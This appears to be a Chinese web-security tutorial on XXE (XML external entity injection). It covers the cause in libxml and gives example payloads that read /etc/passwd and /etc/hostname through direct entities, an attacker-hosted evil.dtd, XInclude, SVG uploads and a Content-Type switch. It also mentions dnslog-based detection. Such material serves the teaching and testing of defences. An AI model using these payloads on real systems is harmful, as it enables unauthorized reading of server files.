0x01 XXE(XML外部实体注入)漏洞

1.1 漏洞原因

1.2 漏洞构造方式

1.3 XML可解析的协议

0x02 寻找XXE漏洞隐藏的攻击面

2.1 XInclude攻击

2.2 通过文件上传进行XXE攻击

2.3 通过修改Content-Type头进行XXE攻击

0x03 如何查找和测试XXE漏洞


0x01 XXEXML外部实体注入)漏洞

1.1 漏洞原因

XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行、内网扫描等危害。

libxml<2.9 默认开启

1.2 漏洞构造方式

1.2.1 直接通过DTD外部实体声明

<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc/passwd">]><a>&b;</a>

1.2.2 通过DTD外部实体声明引入外部DTD文档

#构造数据包
<?xml version="1.0"?><!DOCTYPE m [<!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">]><a>&b;</a>#而http://mark4z5.com/evil.dtd内容为<!ENTITY b SYSTEM "file:///etc/passwd">
​

1.2.3 通过DTD外部实体声明引入DTD文档

# 构造数据包
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">]><a>%b;</a>#http://mark4z5.com/evil.dtd文件内容<!ENTITY b SYSTEM "file:///etc/passwd">
​

1.3 XML可解析的协议

libxml2

file、http、ftp

PHP

file、http、ftp、php、glob、data...

JAVA

file、http、ftp、https、jar、gopher...

.NET

file、http、ftp、https

0x02 寻找XXE漏洞隐藏的攻击面

XXE漏洞的攻击面通常为HTTP传输流量下的XML数据请求,但是在其他方面可能也存在XXE漏洞。

2.1 XInclude攻击

一些应用程序在用户提交数据后,服务器将数据嵌入到XML文档中,然后对XML进行解析。例如当客户端提交的数据被放入后端的SOAP请求,然后由SOAP服务处理时,就会发生这种情况。

由于无法控制XML文档,对DTD文档进行修改触发而XXE漏洞,我们可以使用Xinclude进行攻击。XInclude 是一种使用元素、属性以及 URI 引用来合并 XML 文档的机制,它是XML规范的一部分,允许在子文档中构建XML文档。我们可以在XML文档中放入恶意数据来进行XInclude攻击,攻击条件为我们可以控制传输中的数据,将其替换为服务器短的XML文件。

通过参考XInclude命名空间和提供我们想要包含的文件路径,可以完成XInclude的XXE攻击。

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

2.2 通过文件上传进行XXE攻击

一些应用程序允许上传使用XML或者包含XML组件的格式文件,并且在服务端会对其进行处理、验证,常见的有DOCX、SVG等格式。

尤其在图片上传中,服务端可能期望获取到PNG、JPG格式的图片,但是服务端使用的处理库可能同样是支持SVG格式的,所以我们可以通过上传SVG格式的图片来进行XXE攻击。

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

2.3 通过修改Content-Type头进行XXE攻击

大多数情况下,POST请求包使用的是默认的application/x-www-form-urlencoded。有些网站希望接收这种格式的请求,但会容忍其他内容类型,包括XML。

# 普通的请求包:POST /action HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length: 7foo=bar# 可以替换为:POST /action HTTP/1.0Content-Type: text/xmlContent-Length: 52<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。

0x03 如何查找和测试XXE漏洞

通过定义一个指向系统文件的外部实体,尝试对系统文件目录进行遍历,查看返回包是否包含XXE注入信息。

构建http://dnslog.cn/等基于可控的外部实体注入,然后对可控URL进行监控,判断是否存在XXE漏洞。

对于用户端使用非XML文档交互的接口,使用XInclude攻击来尝试包含一个有用的系统文件。

参考资料:

XXE漏洞详解(XML外部实体注入)_谢公子的博客-CSDN博客

What is XXE (XML external entity) injection? Tutorial & Examples | Web Security Academy

XML 外部实体注入漏洞相关推荐

  1. XML外部实体注入漏洞——XXE简单分析

    前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...

  2. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection" 既"xml外部实体注入漏洞". 概括一下就是"攻击者通过向服务器注入指定的x ...

  3. PHP环境 XML外部实体注入漏洞

    PHP环境 XML外部实体注入漏洞 环境介绍 漏洞原理 漏洞复现 修补方案和建议 环境介绍 libxml 2.8.0 libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡.为了演示P ...

  4. Xml外部实体注入漏洞(XXE)与防护

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  5. XXE(XML外部实体注入)漏洞

    如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击.XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它 什么是 ...

  6. 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

    0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...

  7. XXE外部实体注入漏洞总结

    Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/cou ...

  8. XXE(XML外部实体注入)详解

    1. XXE漏洞描述 XXE(XML External Entity Injection)又称为"XML外部实体注入漏洞". 当允许引用外部实体时,通过构造恶意内容,就可能导致任意 ...

  9. Web Hacking 101 中文版 十四、XML 外部实体注入(一)

    十四.XML 外部实体注入 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程 ...

最新文章

  1. AOP实践--利用MVC5 Filter实现登录状态判断
  2. python中shutil.copyfile的用法_Python shutil.copyfile()用法及代码示例
  3. ORM框架-工具-产品开发之四 开发代码生成器 Template Studio Development (一)
  4. EntityFramework用法探索(三)CodeFirst流畅API
  5. mysqlbinlog: [ERROR] unknown variable ‘default-character-set=utf8mb4‘
  6. JS格式化时间之后少了8个小时
  7. uva146-ID码
  8. 不用空格怎么打两个空格_为什么在寸土寸金的键盘上,空格键却要做这么长,究竟怎么回事?...
  9. VirtualBox虚拟机压缩减少体积
  10. JavaScript运动应用一
  11. go语言 python excel_下个10年,Go能取代Python成为开发者的首选语言吗?
  12. zotero+坚果云同步
  13. 现代信息检索——基本概念
  14. 读书感受 之 《写给年轻人的 经济学故事书》
  15. codeforces C2. Pokémon Army (hard version)(模拟)
  16. jy-12-SPRINGMYBATIS02——云笔记04-刘苍松
  17. win10+anaconda+pycharm python画图完整过程
  18. 岁月无情,一去兮不复返
  19. Stack Overflow:开发者在周末更喜欢用哪个编程语言
  20. 强生稳豪倍优型血糖仪试纸_强生稳豪倍优型血糖仪(送50片试纸)

热门文章

  1. 【Database System Concept 7th】Chapter 2读书笔记
  2. 使用FireBreath写浏览器插件(二)
  3. VS2013+MFC+OPENCV人脸识别考勤软件
  4. 漫画|区块链之公链的那点事儿
  5. 算法之动态规划-Rod cutting
  6. 【笔耕不辍勋章活动】生命不止,写作不息
  7. 未间断向提供商品粮 国稻种芯·中国水稻节:江西筑江南粮仓
  8. 由英语presentation引发的关于PPT制作的思考
  9. dojo的类声明和调用
  10. 大工2019秋计算机科学在线作业,大工20秋《计算机原理》在线作业1答案